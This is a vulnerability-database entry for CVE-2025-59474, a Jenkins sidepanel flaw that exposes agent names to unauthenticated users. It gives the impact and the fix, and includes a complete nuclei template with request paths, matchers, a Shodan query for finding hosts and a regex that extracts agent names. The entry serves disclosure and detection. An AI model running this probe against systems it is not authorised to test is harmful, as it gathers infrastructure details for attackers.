HexBrain

Browse / CVEs / CVE-2025-59474

CVE-2025-59474

Jenkins Sidepanel - Unauthorized Agent/Queue Exposure

mediumseverity
5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

Jenkins 2.527 and earlier, LTS 2.516.2 and earlier does not perform a permission check in the sidepanel of a page intentionally accessible to users lacking Overall/Read permission, allowing attackers without Overall/Read permission to list agent names through its sidepanel executors widget.

Impact

Attackers can list agent names without required permissions, potentially exposing sensitive infrastructure details.

Fix

Update to a version later than 2.527 or LTS later than 2.516.2.

How to confirm it

Send: GET {{BaseURL}}/securityRealm/signup ; GET {{BaseURL}}/jenkins/securityRealm/signup
Positive when: contains "Build Executor Status" or "Estado del ejecutor" or "id=\"executors\"" AND matches /href="[^"]*/computer/[^"]*/?"/

Run it with nuclei: nuclei -id CVE-2025-59474 -u <target>

The full check
id: CVE-2025-59474

info:
  name: Jenkins Sidepanel - Unauthorized Agent/Queue Exposure
  author: ivaldivieso
  severity: medium
  description: |
    Jenkins 2.527 and earlier, LTS 2.516.2 and earlier does not perform a permission check in the sidepanel of a page intentionally accessible to users lacking Overall/Read permission, allowing attackers without Overall/Read permission to list agent names through its sidepanel executors widget.
  impact: Attackers can list agent names without required permissions, potentially exposing sensitive infrastructure details.
  remediation: Update to a version later than 2.527 or LTS later than 2.516.2.
  reference:
    - https://www.jenkins.io/security/advisory/2025-09-17/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59474
    - https://medium.com/@Th3hound/exposing-jenkins-agents-without-auth-research-on-cve-2025-59474-ff95a2e7d22a
  metadata:
    verified: true
    max-request: 2
    shodan-query: product:"jenkins"
  tags: cve,cve2025,jenkins,sidepanel,unauth,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/securityRealm/signup"
      - "{{BaseURL}}/jenkins/securityRealm/signup"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Build Executor Status'
          - 'Estado del ejecutor'
          - 'id="executors"'
        condition: or

      - type: regex
        part: body
        regex:
          - 'href="[^"]*/computer/[^"]*/?"'

    extractors:
      - type: regex
        name: agents
        part: body
        group: 1
        regex:
          - 'href="[^"]*/computer/([^"/]+)/?"'
        internal: true

      - type: dsl
        dsl:
          - 'urldecode(agents)'

References

Use this check only on systems you are authorised to test. Where the data comes from